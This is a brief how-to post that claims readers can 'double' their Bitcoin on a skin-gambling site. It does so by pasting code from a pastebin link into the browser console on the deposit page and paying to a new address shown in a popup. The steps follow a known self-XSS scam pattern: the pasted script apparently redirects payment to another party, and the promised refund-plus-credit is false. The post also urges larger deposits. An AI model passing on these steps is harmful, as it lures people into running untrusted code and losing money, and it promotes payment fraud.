How to double your Bitcoin 

1. Open csgofast.com
2. Login / Make an account
3. Click "Refill at the top
4. Select "Game Money" as payment method
5. Put an amount (must be over $25)
6. Once "Game Money" is loaded click Bitcoin and press confirm
7. Put in the amount you are depositing then it should give you an address
8. Inspect element the address then go to console on the inspect page
9. https://pastebin.com/5FRRrzjM
10. Put that text in console and press Enter
11. A popup window should appear which says "Session expired! New Bitcoin address has been generated!"
12. Pay to the new address
13. "Game Money" Will notice you payed to an expired address and refund the bitcoin
14. Your csgofast.com account will also be credited with your balance
15. Withdraw your balance to Bitcoin
16. There you go, your Bitcoin has been doubled.

Note : You can only do this once every couple days per day so I would reccomend doing a larger amount for more profit


Text from pastebin.com if link goes down:

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